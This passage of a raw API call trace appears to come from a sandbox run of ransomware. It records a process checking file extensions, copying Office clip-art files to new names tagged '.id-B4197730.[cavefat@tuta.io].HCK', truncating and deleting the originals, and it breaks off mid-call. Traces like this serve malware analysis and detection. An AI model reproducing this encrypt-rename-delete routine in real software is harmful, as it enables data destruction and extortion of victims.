[0156.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.856] lstrlenW (lpString=".xls") returned 4 [0156.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.856] lstrlenW (lpString=".xlsx") returned 5 [0156.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.856] lstrlenW (lpString=".ppt") returned 4 [0156.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0156.856] lstrlenW (lpString=".zip") returned 4 [0156.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.856] lstrlenW (lpString=".rar") returned 4 [0156.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.856] lstrlenW (lpString=".bz2") returned 4 [0156.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.856] lstrlenW (lpString=".7z") returned 3 [0156.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0156.856] lstrlenW (lpString=".dbf") returned 4 [0156.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0156.856] lstrlenW (lpString=".1cd") returned 4 [0156.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0156.856] lstrlenW (lpString=".jpg") returned 4 [0156.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.857] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.857] lstrlenW (lpString="BS00174_.WMF") returned 12 [0156.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.857] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=8366) returned 1 [0156.857] CloseHandle (hObject=0x37c) returned 1 [0156.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x220 [0156.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.857] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.857] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0156.858] GetLastError () returned 0x0 [0156.858] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x20ae, lpOverlapped=0x0) returned 1 [0156.859] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x20b0, lpOverlapped=0x0) returned 1 [0156.860] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.860] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.860] SetEndOfFile (hFile=0x2ec) returned 1 [0156.860] CloseHandle (hObject=0x2ec) returned 1 [0156.861] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.861] SetEndOfFile (hFile=0x37c) returned 1 [0156.861] CloseHandle (hObject=0x37c) returned 1 [0156.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0156.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0156.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0156.862] lstrlenW (lpString=".doc") returned 4 [0156.862] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.862] lstrlenW (lpString=".docx") returned 5 [0156.862] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.862] lstrlenW (lpString=".pdf") returned 4 [0156.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.862] lstrlenW (lpString=".xls") returned 4 [0156.862] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.862] lstrlenW (lpString=".xlsx") returned 5 [0156.862] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.862] lstrlenW (lpString=".ppt") returned 4 [0156.862] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0156.862] lstrlenW (lpString=".zip") returned 4 [0156.862] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.862] lstrlenW (lpString=".rar") returned 4 [0156.862] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.862] lstrlenW (lpString=".bz2") returned 4 [0156.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.862] lstrlenW (lpString=".7z") returned 3 [0156.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0156.862] lstrlenW (lpString=".dbf") returned 4 [0156.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0156.862] lstrlenW (lpString=".1cd") returned 4 [0156.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0156.862] lstrlenW (lpString=".jpg") returned 4 [0156.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0156.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0156.863] lstrlenW (lpString=".doc") returned 4 [0156.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.863] lstrlenW (lpString=".docx") returned 5 [0156.863] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.863] lstrlenW (lpString=".pdf") returned 4 [0156.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.863] lstrlenW (lpString=".xls") returned 4 [0156.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.863] lstrlenW (lpString=".xlsx") returned 5 [0156.863] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.863] lstrlenW (lpString=".ppt") returned 4 [0156.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0156.863] lstrlenW (lpString=".zip") returned 4 [0156.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.863] lstrlenW (lpString=".rar") returned 4 [0156.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.863] lstrlenW (lpString=".bz2") returned 4 [0156.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.863] lstrlenW (lpString=".7z") returned 3 [0156.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0156.863] lstrlenW (lpString=".dbf") returned 4 [0156.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0156.863] lstrlenW (lpString=".1cd") returned 4 [0156.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0156.863] lstrlenW (lpString=".jpg") returned 4 [0156.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.863] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.863] lstrlenW (lpString="BS00184_.WMF") returned 12 [0156.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.864] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=4976) returned 1 [0156.864] CloseHandle (hObject=0x37c) returned 1 [0156.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x220 [0156.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.864] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.864] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0156.865] GetLastError () returned 0x0 [0156.865] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1370, lpOverlapped=0x0) returned 1 [0156.866] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1380, lpOverlapped=0x0) returned 1 [0156.866] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.867] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.867] SetEndOfFile (hFile=0x2ec) returned 1 [0156.867] CloseHandle (hObject=0x2ec) returned 1 [0156.867] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.867] SetEndOfFile (hFile=0x37c) returned 1 [0156.868] CloseHandle (hObject=0x37c) returned 1 [0156.868] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.868] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0156.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0156.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0156.869] lstrlenW (lpString=".doc") returned 4 [0156.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.869] lstrlenW (lpString=".docx") returned 5 [0156.869] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.869] lstrlenW (lpString=".pdf") returned 4 [0156.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.869] lstrlenW (lpString=".xls") returned 4 [0156.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.869] lstrlenW (lpString=".xlsx") returned 5 [0156.869] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.869] lstrlenW (lpString=".ppt") returned 4 [0156.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0156.869] lstrlenW (lpString=".zip") returned 4 [0156.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.869] lstrlenW (lpString=".rar") returned 4 [0156.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.869] lstrlenW (lpString=".bz2") returned 4 [0156.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.869] lstrlenW (lpString=".7z") returned 3 [0156.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0156.869] lstrlenW (lpString=".dbf") returned 4 [0156.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0156.869] lstrlenW (lpString=".1cd") returned 4 [0156.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0156.869] lstrlenW (lpString=".jpg") returned 4 [0156.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0156.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0156.869] lstrlenW (lpString=".doc") returned 4 [0156.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.870] lstrlenW (lpString=".docx") returned 5 [0156.870] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.870] lstrlenW (lpString=".pdf") returned 4 [0156.870] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.870] lstrlenW (lpString=".xls") returned 4 [0156.870] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.870] lstrlenW (lpString=".xlsx") returned 5 [0156.870] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.870] lstrlenW (lpString=".ppt") returned 4 [0156.870] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0156.870] lstrlenW (lpString=".zip") returned 4 [0156.870] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.870] lstrlenW (lpString=".rar") returned 4 [0156.870] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.870] lstrlenW (lpString=".bz2") returned 4 [0156.870] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.870] lstrlenW (lpString=".7z") returned 3 [0156.870] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0156.870] lstrlenW (lpString=".dbf") returned 4 [0156.870] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0156.870] lstrlenW (lpString=".1cd") returned 4 [0156.870] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0156.870] lstrlenW (lpString=".jpg") returned 4 [0156.870] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.870] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.870] lstrlenW (lpString="BS00186_.WMF") returned 12 [0156.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.871] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=12788) returned 1 [0156.871] CloseHandle (hObject=0x37c) returned 1 [0156.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x220 [0156.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.871] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.871] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0156.877] GetLastError () returned 0x0 [0156.877] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x31f4, lpOverlapped=0x0) returned 1 [0157.137] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3200, lpOverlapped=0x0) returned 1 [0157.138] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.138] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.138] SetEndOfFile (hFile=0x2ec) returned 1 [0157.227] CloseHandle (hObject=0x2ec) returned 1 [0157.257] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.261] SetEndOfFile (hFile=0x37c) returned 1 [0157.261] CloseHandle (hObject=0x37c) returned 1 [0157.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0157.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0157.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0157.262] lstrlenW (lpString=".doc") returned 4 [0157.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.262] lstrlenW (lpString=".docx") returned 5 [0157.262] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.262] lstrlenW (lpString=".pdf") returned 4 [0157.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.262] lstrlenW (lpString=".xls") returned 4 [0157.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.262] lstrlenW (lpString=".xlsx") returned 5 [0157.262] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.262] lstrlenW (lpString=".ppt") returned 4 [0157.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0157.262] lstrlenW (lpString=".zip") returned 4 [0157.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.262] lstrlenW (lpString=".rar") returned 4 [0157.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.262] lstrlenW (lpString=".bz2") returned 4 [0157.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.262] lstrlenW (lpString=".7z") returned 3 [0157.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0157.262] lstrlenW (lpString=".dbf") returned 4 [0157.262] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0157.262] lstrlenW (lpString=".1cd") returned 4 [0157.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0157.262] lstrlenW (lpString=".jpg") returned 4 [0157.262] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0157.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0157.262] lstrlenW (lpString=".doc") returned 4 [0157.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.262] lstrlenW (lpString=".docx") returned 5 [0157.263] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.263] lstrlenW (lpString=".pdf") returned 4 [0157.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.263] lstrlenW (lpString=".xls") returned 4 [0157.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.263] lstrlenW (lpString=".xlsx") returned 5 [0157.263] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.263] lstrlenW (lpString=".ppt") returned 4 [0157.263] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.263] lstrlenW 